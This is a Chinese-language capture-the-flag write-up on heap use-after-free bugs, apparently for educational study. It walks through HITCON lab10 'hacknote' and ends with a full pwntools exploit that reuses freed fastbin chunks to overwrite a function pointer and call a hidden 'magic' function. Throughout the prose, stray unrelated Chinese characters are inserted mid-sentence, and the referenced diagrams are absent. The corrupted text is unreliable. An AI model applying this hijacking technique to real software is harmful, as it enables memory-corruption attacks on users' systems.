UAF原理:
UAF就是Use After Free,顧名思義琐谤,就是在一個(gè)堆被釋放后再次被使用不同,一般來(lái)說(shuō)有三種情況:
- 堆被釋放后向楼,對(duì)應(yīng)的指針被設(shè)置為null罢猪,這時(shí)再使用它程序就會(huì)崩潰
- 堆被釋放后授瘦,對(duì)應(yīng)的指針沒(méi)有被設(shè)置為null醋界,在它下次被使用之前沒(méi)有代碼對(duì)這塊堆進(jìn)行修改,那么程序有可能可以正常運(yùn)行
- 堆被釋放后提完,其對(duì)應(yīng)的指針沒(méi)有被設(shè)置為null形纺,但是它在下次使用前,有代碼對(duì)這塊堆進(jìn)行了修改徒欣,當(dāng)程序再次使用這個(gè)堆內(nèi)存時(shí)逐样,就可能會(huì)出現(xiàn)奇怪的問(wèn)題
一般的 UAF漏洞指的是后兩種情況,我們可以利用的也只有后面兩種情況
UAF漏洞利用過(guò)程:
- 申請(qǐng)一段空間打肝,并將其釋放脂新,釋放后的指針不清空,將這個(gè)指針簡(jiǎn)稱(chēng)為p1
- 申請(qǐng)空間p2粗梭, 由于malloc分配過(guò)程原則争便,使得p2指向剛剛釋放的p1的空間,構(gòu)造特殊的數(shù)據(jù)將這段內(nèi)存空間覆蓋
- 利用p1断医,一般會(huì)多出一個(gè)函數(shù)的指針滞乙,由于之前已經(jīng)使用p2將p1的數(shù)據(jù)給覆蓋了奏纪,所以此時(shí)p1上的數(shù)據(jù)是我們可以控制的,就存在劫持函數(shù)流的可能
下面拿HITCON的lab10做例子
程序是32的一個(gè)菜單程序
有4個(gè)選項(xiàng): add,delete,print ,exit
查看ida反編譯代碼:
print_note_content是puts函數(shù)的一個(gè)指針:
程序創(chuàng)建note的時(shí)候斩启,會(huì)先分配8byte的空間來(lái)存放print_note_content和content的指針序调,然后根據(jù)輸入的size的大小分配空間給content
示意圖如下:
print_note函數(shù):
delete函數(shù):
可以發(fā)現(xiàn)它只是free了內(nèi)存,但是并沒(méi)有清空兔簇,很顯然发绢,這里存在Use After Free的情況
假設(shè)我們執(zhí)行程序如下:
def create(size,content)
create(16,'aa')
create(16,'bb')
delete(0)
delete(1)
則程序中會(huì)分配4個(gè)堆塊
free掉后因?yàn)樗鼈兊拇笮∥挥趂astbin,所以會(huì)被放到fastbin中
此時(shí)如果我們?cè)偕暾?qǐng)一個(gè)note2,大小為0x8的話(huà),根據(jù)malloc的分配原則 男韧,它會(huì)將最近free的堆塊優(yōu)先分配朴摊,它先會(huì)給note分配8個(gè)字節(jié)的空間來(lái)存放指針,這個(gè)堆塊是note1free后的堆塊此虑,接著它會(huì)將note0存放指針的堆塊分配給note2的content甚纲,這個(gè)時(shí)候如果我們將note0的指針覆蓋成別的函數(shù)地址,再通過(guò)print_note調(diào)用的話(huà)就可以劫持函數(shù)執(zhí)行流了
所以解題思路:
- 先create兩個(gè)note朦前,content size大小不為0x8就行了
- 然后將這兩個(gè)note delete掉
- 再創(chuàng)建一個(gè)note2介杆,大小為0x8,content內(nèi)容為magic函數(shù)
- 調(diào)用print_note執(zhí)行打印note0的內(nèi)容韭寸,就可以執(zhí)行magic函數(shù)了
附上exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
p = process('./hacknote')
elf = ELF('./hacknote')
magic = 0x08048986
def create(size,content):
p.recvuntil(":")
p.sendline(str(1))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(content)
def delete(idx):
p.recvuntil(":")
p.send(str(2))
p.recvuntil(":")
p.sendline(str(idx))
def print_note(idx):
p.recvuntil(":")
p.sendline(str(3))
p.recvuntil(":")
p.sendline(str(idx))
create(16,'aa')
create(16,'bb')
delete(0)
delete(1)
create(8,p32(magic))
print_note(0)
p.interactive()